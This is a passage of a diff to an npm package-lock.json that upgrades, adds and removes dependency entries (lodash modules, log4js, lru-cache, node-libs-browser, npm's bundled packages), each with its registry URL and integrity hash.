"dev": true, - "requires": { - "lodash._root": "3.0.1" - } + "lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha1-gteb/zCmfEAF/9XiUVMArZyk168=", + "dev": true }, "lodash.flow": { "version": "3.5.0", "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, - "lodash.memoize": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", - "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", - "dev": true - }, - "lodash.pickby": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.pickby/-/lodash.pickby-4.6.0.tgz", - "integrity": "sha1-feoh2MGNdwOifHBMFdO4SmfjOv8=", - "dev": true - }, "lodash.topath": { "version": "4.5.2", "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", "integrity": "sha1-NhY1Hzu6YZlKCTGYlmC9AyVP0Ak=" }, - "lodash.uniq": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", - "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", - "dev": true - }, - "lodash.words": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/lodash.words/-/lodash.words-3.2.0.tgz", - "integrity": "sha1-TiqGSbwIdFsXxpWxo86P7llmI7M=", - "dev": true, - "requires": { - "lodash._root": "3.0.1" - } - }, "log-symbols": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", @@ -5674,15 +9042,57 @@ } }, "log4js": { - "version": "0.6.38", - "resolved": "https://registry.npmjs.org/log4js/-/log4js-0.6.38.tgz", - "integrity": "sha1-LElBFmldb7JUgJQ9P8hy5mKlIv0=", + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/log4js/-/log4js-3.0.5.tgz", + "integrity": "sha512-IX5c3G/7fuTtdr0JjOT2OIR12aTESVhsH6cEsijloYwKgcPRlO6DgOU72v0UFhWcoV1HN6+M3dwT89qVPLXm0w==", "dev": true, "requires": { - "readable-stream": "1.0.34", - "semver": "4.3.6" + "circular-json": "0.5.5", + "date-format": "1.2.0", + "debug": "3.1.0", + "rfdc": "1.1.2", + "streamroller": "0.7.0" + }, + "dependencies": { + "circular-json": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.5.5.tgz", + "integrity": "sha512-13YaR6kiz0kBNmIVM87Io8Hp7bWOo4r61vkEANy8iH9R9bc6avud/1FT0SBpqR1RpIQADOh/Q+yHZDA1iL6ysA==", + "dev": true + }, + "debug": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", + "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } } }, + "loglevel": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/loglevel/-/loglevel-1.6.1.tgz", + "integrity": "sha1-4PyVEztu8nbNyIh82vJKpvFW+Po=", + "dev": true + }, + "loglevelnext": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/loglevelnext/-/loglevelnext-1.0.5.tgz", + "integrity": "sha512-V/73qkPuJmx4BcBF19xPBr+0ZRVBhc4POxvZTZdMeXpJ4NItXSJ/MSwuFT0kQJlCbXvdlZoQQ/418bS1y9Jh6A==", + "dev": true, + "requires": { + "es6-symbol": "3.1.1", + "object.assign": "4.1.0" + } + }, + "long": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/long/-/long-3.2.0.tgz", + "integrity": "sha1-2CG3E4yhy1gcFymQ7xTbIAtcR0s=", + "dev": true + }, "longest": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", @@ -5707,22 +9117,49 @@ "signal-exit": "3.0.2" } }, + "lower-case": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-1.1.4.tgz", + "integrity": "sha1-miyr0bno4K6ZOkv31YdcOcQujqw=", + "dev": true + }, "lru-cache": { - "version": "2.2.4", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-2.2.4.tgz", - "integrity": "sha1-bGWGGb7PFAMdDQtZSxYELOTcBj0=", + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", + "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", + "dev": true, + "requires": { + "pseudomap": "1.0.2", + "yallist": "2.1.2" + } + }, + "make-dir": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", + "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", + "dev": true, + "requires": { + "pify": "3.0.0" + }, + "dependencies": { + "pify": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", + "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", + "dev": true + } + } + }, + "mamacro": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/mamacro/-/mamacro-0.0.3.tgz", + "integrity": "sha512-qMEwh+UujcQ+kbz3T6V+wAmO2U8veoq2w+3wY8MquqwVA3jChfwY+Tk52GZKDfACEPjuZ7r2oJLejwpt8jtwTA==", "dev": true }, - "ltcdr": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/ltcdr/-/ltcdr-2.2.1.tgz", - "integrity": "sha1-Wrh60dTB2rjowIu/A37gwZAih88=", - "dev": true - }, - "macaddress": { - "version": "0.2.8", - "resolved": "https://registry.npmjs.org/macaddress/-/macaddress-0.2.8.tgz", - "integrity": "sha1-WQTcU3w57G2+/q6QIycTX6hRHxI=", + "map-cache": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", + "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=", "dev": true }, "map-obj": { @@ -5731,11 +9168,24 @@ "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", "dev": true }, - "math-expression-evaluator": { - "version": "1.2.17", - "resolved": "https://registry.npmjs.org/math-expression-evaluator/-/math-expression-evaluator-1.2.17.tgz", - "integrity": "sha1-3oGf282E3M2PrlnGrreWFbnSZqw=", - "dev": true + "map-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", + "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", + "dev": true, + "requires": { + "object-visit": "1.0.1" + } + }, + "md5.js": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.4.tgz", + "integrity": "sha1-6b296UogpawYsENA/Fdk1bCdkB0=", + "dev": true, + "requires": { + "hash-base": "3.0.4", + "inherits": "2.0.3" + } }, "media-typer": { "version": "0.3.0", @@ -5743,14 +9193,23 @@ "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=", "dev": true }, + "mem": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", + "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", + "dev": true, + "requires": { + "mimic-fn": "1.2.0" + } + }, "memory-fs": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz", "integrity": "sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=", "dev": true, "requires": { - "errno": "0.1.4", - "readable-stream": "2.3.3" + "errno": "0.1.7", + "readable-stream": "2.3.6" }, "dependencies": { "isarray": { @@ -5759,25 +9218,31 @@ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", "dev": true }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, "readable-stream": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { "core-util-is": "1.0.2", "inherits": "2.0.3", "isarray": "1.0.0", - "process-nextick-args": "1.0.7", + "process-nextick-args": "2.0.0", "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", + "string_decoder": "1.1.1", "util-deprecate": "1.0.2" } }, "string_decoder": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha1-D8Z9fBQYJd6UKC3VNr7GubzoYKs=", + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { "safe-buffer": "5.1.1" @@ -5820,6 +9285,7 @@ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-2.3.11.tgz", "integrity": "sha1-hmd8l9FyCzY0MdBNDRUpO9OMFWU=", "dev": true, + "optional": true, "requires": { "arr-diff": "2.0.0", "array-unique": "0.2.1", @@ -5836,10 +9302,20 @@ "regex-cache": "0.4.3" } }, + "miller-rabin": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.1.tgz", + "integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==", + "dev": true, + "requires": { + "bn.js": "4.11.8", + "brorand": "1.1.0" + } + }, "mime": { - "version": "1.3.6", - "resolved": "https://registry.npmjs.org/mime/-/mime-1.3.6.tgz", - "integrity": "sha1-WR2E02U6awtKO5343lqoEI5y5eA=", + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/mime/-/mime-2.3.1.tgz", + "integrity": "sha512-OEUllcVoydBHGN1z84yfQDimn58pZNNNXgZlHXSboxMlFvgI6MXSWpWKpFRra7H1HxpVhHTkrghfRW49k6yjeg==", "dev": true }, "mime-db": { @@ -5857,6 +9333,12 @@ "mime-db": "1.29.0" } }, + "mimic-fn": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", + "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", + "dev": true + }, "min-document": { "version": "2.19.0", "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", @@ -5866,6 +9348,18 @@ "dom-walk": "0.1.1" } }, + "minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "dev": true + }, + "minimalistic-crypto-utils": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz", + "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=", + "dev": true + }, "minimatch": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", @@ -5881,6 +9375,45 @@ "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=", "dev": true }, + "mississippi": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-2.0.0.tgz", + "integrity": "sha512-zHo8v+otD1J10j/tC+VNoGK9keCuByhKovAvdn74dmxJl9+mWHnx6EMsDN4lgRoMI/eYo2nchAxniIbUPb5onw==", + "dev": true, + "requires": { + "concat-stream": "1.6.0", + "duplexify": "3.6.0", + "end-of-stream": "1.4.1", + "flush-write-stream": "1.0.3", + "from2": "2.3.0", + "parallel-transform": "1.1.0", + "pump": "2.0.1", + "pumpify": "1.5.1", + "stream-each": "1.2.3", + "through2": "2.0.3" + } + }, + "mixin-deep": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.1.tgz", + "integrity": "sha512-8ZItLHeEgaqEvd5lYBXfm4EZSFCX29Jb9K+lAHhDKzReKBQKj3R+7NOF6tjqYi9t4oI8VUfaWITJQm86wnXGNQ==", + "dev": true, + "requires": { + "for-in": "1.0.2", + "is-extendable": "1.0.1" + }, + "dependencies": { + "is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { + "is-plain-object": "2.0.4" + } + } + } + }, "mkdirp": { "version": "0.5.1", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", @@ -5944,9 +9477,23 @@ } }, "moment": { - "version": "2.22.1", - "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.1.tgz", - "integrity": "sha512-shJkRTSebXvsVqk56I+lkb2latjBs8I+pc2TzWc545y2iFnSjm7Wg0QMh+ZWcdSLQyGEau5jI8ocnmkyTgr9YQ==" + "version": "2.22.2", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.22.2.tgz", + "integrity": "sha1-PCV/mDn8DpP/UxSWMiOeuQeD/2Y=" + }, + "move-concurrently": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz", + "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", + "dev": true, + "requires": { + "aproba": "1.2.0", + "copy-concurrently": "1.0.5", + "fs-write-stream-atomic": "1.0.10", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" + } }, "ms": { "version": "2.0.0", @@ -5954,10 +9501,26 @@ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", "dev": true }, + "multicast-dns": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz", + "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==", + "dev": true, + "requires": { + "dns-packet": "1.3.1", + "thunky": "1.0.2" + } + }, + "multicast-dns-service-types": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz", + "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=", + "dev": true + }, "mute-stream": { - "version": "0.0.5", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.5.tgz", - "integrity": "sha1-j7+rsKmKJT0xhDMfno3rc3L6xsA=", + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", + "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", "dev": true }, "nan": { @@ -5967,6 +9530,45 @@ "dev": true, "optional": true }, + "nanomatch": { + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", + "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", + "dev": true, + "requires": { + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "fragment-cache": "0.2.1", + "is-windows": "1.0.2", + "kind-of": "6.0.2", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + } + } + }, "narcissus": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/narcissus/-/narcissus-1.0.0.tgz", @@ -5987,6 +9589,33 @@ "integrity": "sha1-KzJxhOiZIQEXeyhWP7XnECrNDKk=", "dev": true }, + "neo-async": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.2.tgz", + "integrity": "sha512-vdqTKI9GBIYcAEbFAcpKPErKINfPF5zIuz3/niBfq8WUZjpT2tytLlFVrBgWdOtqI4uaA/Rb6No0hux39XXDuw==", + "dev": true + }, + "next-tick": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz", + "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw=", + "dev": true + }, + "nice-try": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.4.tgz", + "integrity": "sha512-2NpiFHqC87y/zFke0fC0spBXL3bBsoh/p5H1EFhshxjCR5+0g2d6BiXbUFz9v1sAcxsk2htp2eQnNIci2dIYcA==", + "dev": true + }, + "no-case": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-2.3.2.tgz", + "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", + "dev": true, + "requires": { + "lower-case": "1.1.4" + } + }, "node-fetch": { "version": "1.7.3", "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-1.7.3.tgz", @@ -5996,34 +9625,40 @@ "is-stream": "1.1.0" } }, + "node-forge": { + "version": "0.7.5", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.7.5.tgz", + "integrity": "sha512-MmbQJ2MTESTjt3Gi/3yG1wGpIMhUfcIypUCGtTizFR9IiccFwxSpfp0vtIZlkFclEqERemxfnSdZEMR9VqqEFQ==", + "dev": true + }, "node-libs-browser": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-0.7.0.tgz", - "integrity": "sha1-PicsCBnjCJNeJmdECNevDhSRuDs=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.1.0.tgz", + "integrity": "sha512-5AzFzdoIMb89hBGMZglEegffzgRg+ZFoUmisQ8HI4j1KDdpx13J0taNp2y9xPbur6W61gepGDDotGBVQ7mfUCg==", "dev": true, "requires": { "assert": "1.4.1", - "browserify-zlib": "0.1.4", + "browserify-zlib": "0.2.0", "buffer": "4.9.1", "console-browserify": "1.1.0", "constants-browserify": "1.0.0", - "crypto-browserify": "3.3.0", - "domain-browser": "1.1.7", + "crypto-browserify": "3.12.0", + "domain-browser": "1.2.0", "events": "1.1.1", - "https-browserify": "0.0.1", - "os-browserify": "0.2.1", + "https-browserify": "1.0.0", + "os-browserify": "0.3.0", "path-browserify": "0.0.0", "process": "0.11.10", "punycode": "1.4.1", "querystring-es3": "0.2.1", - "readable-stream": "2.3.3", + "readable-stream": "2.3.6", "stream-browserify": "2.0.1", - "stream-http": "2.7.2", - "string_decoder": "0.10.31", - "timers-browserify": "2.0.3", + "stream-http": "2.8.3", + "string_decoder": "1.1.1", + "timers-browserify": "2.0.10", "tty-browserify": "0.0.0", "url": "0.11.0", - "util": "0.10.3", + "util": "0.10.4", "vm-browserify": "0.0.4" }, "dependencies": { @@ -6033,30 +9668,40 @@ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", "dev": true }, + "process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha1-czIwDoQBYb2j5podHZGn1LwW8YI=", + "dev": true + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==", + "dev": true + }, "readable-stream": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz", - "integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==", + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { "core-util-is": "1.0.2", "inherits": "2.0.3", "isarray": "1.0.0", - "process-nextick-args": "1.0.7", + "process-nextick-args": "2.0.0", "safe-buffer": "5.1.1", - "string_decoder": "1.0.3", + "string_decoder": "1.1.1", "util-deprecate": "1.0.2" - }, - "dependencies": { - "string_decoder": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz", - "integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==", - "dev": true, - "requires": { - "safe-buffer": "5.1.1" - } - } + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "5.1.1" } } } @@ -6086,10 +9731,10 @@ "integrity": "sha1-EvlaMH1YNSB1oEkHuErIvpisAS8=", "dev": true, "requires": { - "hosted-git-info": "2.5.0", + "hosted-git-info": "2.7.1", "is-builtin-module": "1.0.0", "semver": "4.3.6", - "validate-npm-package-license": "3.0.1" + "validate-npm-package-license": "3.0.4" } }, "normalize-path": { @@ -6101,49 +9746,30 @@ "remove-trailing-separator": "1.0.2" } }, - "normalize-range": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", - "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", - "dev": true - }, - "normalize-url": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-1.9.1.tgz", - "integrity": "sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=", - "dev": true, - "requires": { - "object-assign": "4.1.1", - "prepend-http": "1.0.4", - "query-string": "4.3.4", - "sort-keys": "1.1.2" - } - }, "normalize.css": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-4.2.0.tgz", - "integrity": "sha1-IdZsxVcVTUN5/R4HnsfeWKN5sJk=" + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/normalize.css/-/normalize.css-8.0.0.tgz", + "integrity": "sha512-iXcbM3NWr0XkNyfiSBsoPezi+0V92P9nj84yVV1/UZxRUrGczgX/X91KMAGM0omWLY2+2Q1gKD/XRn4gQRDB2A==" }, "npm": { - "version": "5.10.0", - "resolved": "https://registry.npmjs.org/npm/-/npm-5.10.0.tgz", - "integrity": "sha512-lvjvjgR5wG2RJ2uqak1xtZcVAWMwVOzN5HkUlUj/n8rU1f3A0fNn+7HwOzH9Lyf0Ppyu9ApgsEpHczOSnx1cwA==", + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/npm/-/npm-6.3.0.tgz", + "integrity": "sha512-oDtLFo3wXue/xe3pU/oks9VHS5501OAWlYrZrApZkFv7l2LXk+9CfPMbjbfZWK7Jqlc1jbNcJMkB6KZC7K/vEA==", "requires": { - "JSONStream": "1.3.2", + "JSONStream": "1.3.3", "abbrev": "1.1.1", - "ansi-regex": "3.0.0", "ansicolors": "0.3.2", "ansistyles": "0.1.3", "aproba": "1.2.0", "archy": "1.0.0", - "bin-links": "1.1.0", + "bin-links": "1.1.2", "bluebird": "3.5.1", - "byte-size": "4.0.2", - "cacache": "10.0.4", + "byte-size": "4.0.3", + "cacache": "11.1.0", "call-limit": "1.1.0", "chownr": "1.0.1", "cli-columns": "3.1.2", - "cli-table2": "0.2.0", + "cli-table3": "0.5.0", "cmd-shim": "2.0.2", "columnify": "1.5.4", "config-chain": "1.1.11", @@ -6152,6 +9778,7 @@ "detect-newline": "2.1.0", "dezalgo": "1.0.3", "editor": "1.0.0", + "figgy-pudding": "3.2.0", "find-npm-prefix": "1.0.2", "fs-vacuum": "1.2.10", "fs-write-stream-atomic": "1.0.10", @@ -6160,16 +9787,17 @@ "graceful-fs": "4.1.11", "has-unicode": "2.0.1", "hosted-git-info": "2.6.0", - "iferr": "0.1.5", + "iferr": "1.0.0", "imurmurhash": "0.1.4", "inflight": "1.0.6", "inherits": "2.0.3", "ini": "1.3.5", "init-package-json": "1.10.3", - "is-cidr": "1.0.0", + "is-cidr": "2.0.6", "json-parse-better-errors": "1.0.2", "lazy-property": "1.0.0", - "libcipm": "1.6.2", + "libcipm": "2.0.0", + "libnpmhook": "4.0.1", "libnpx": "10.2.0", "lock-verify": "2.0.2", "lockfile": "1.0.4", @@ -6184,21 +9812,22 @@ "lodash.union": "4.6.0", "lodash.uniq": "4.5.0", "lodash.without": "4.4.0", - "lru-cache": "4.1.2", + "lru-cache": "4.1.3", "meant": "1.0.1", "mississippi": "3.0.0", "mkdirp": "0.5.1", "move-concurrently": "1.0.1", - "node-gyp": "3.6.2", + "node-gyp": "3.7.0", "nopt": "4.0.1", "normalize-package-data": "2.4.0", - "npm-audit-report": "1.0.9", + "npm-audit-report": "1.3.1", "npm-cache-filename": "1.0.2", "npm-install-checks": "3.0.0", - "npm-lifecycle": "2.0.1", + "npm-lifecycle": "2.0.3", "npm-package-arg": "6.1.0", "npm-packlist": "1.1.10", - "npm-profile": "3.0.1", + "npm-pick-manifest": "2.1.0", + "npm-profile": "3.0.2", "npm-registry-client": "8.5.1", "npm-registry-fetch": "1.1.0", "npm-user-validate": "1.0.0", @@ -6206,7 +9835,7 @@ "once": "1.4.0", "opener": "1.4.3", "osenv": "0.1.5", - "pacote": "7.6.1", + "pacote": "8.1.6", "path-is-inside": "1.0.2", "promise-inflight": "1.0.1", "qrcode-terminal": "0.12.0", @@ -6219,7 +9848,7 @@ "read-package-tree": "5.2.1", "readable-stream": "2.3.6", "readdir-scoped-modules": "1.0.2", - "request": "2.85.0", + "request": "2.81.0", "retry": "0.12.0", "rimraf": "2.6.2", "safe-buffer": "5.1.2", @@ -6228,9 +9857,9 @@ "slide": "1.1.6", "sorted-object": "2.0.1", "sorted-union-stream": "2.1.3", - "ssri": "5.3.0", - "strip-ansi": "4.0.0", - "tar": "4.4.2", + "ssri": "6.0.0", + "stringify-package": "1.0.0", + "tar": "4.4.4", "text-table": "0.2.0", "tiny-relative-date": "1.3.0", "uid-number": "0.0.6", @@ -6238,41 +9867,58 @@ "unique-filename": "1.1.0", "unpipe": "1.0.0", "update-notifier": "2.5.0", - "uuid": "3.2.1", + "uuid": "3.3.2", "validate-npm-package-license": "3.0.3", "validate-npm-package-name": "3.0.0", - "which": "1.3.0", + "which": "1.3.1", "worker-farm": "1.6.0", - "wrappy": "1.0.2", "write-file-atomic": "2.3.0" }, "dependencies": { "JSONStream": { - "version": "1.3.2", + "version": "1.3.3", "bundled": true, "requires": { "jsonparse": "1.3.1", "through": "2.3.8" - }, - "dependencies": { - "jsonparse": { - "version": "1.3.1", - "bundled": true - }, - "through": { - "version": "2.3.8", - "bundled": true - } } }, "abbrev": { "version": "1.1.1", "bundled": true }, + 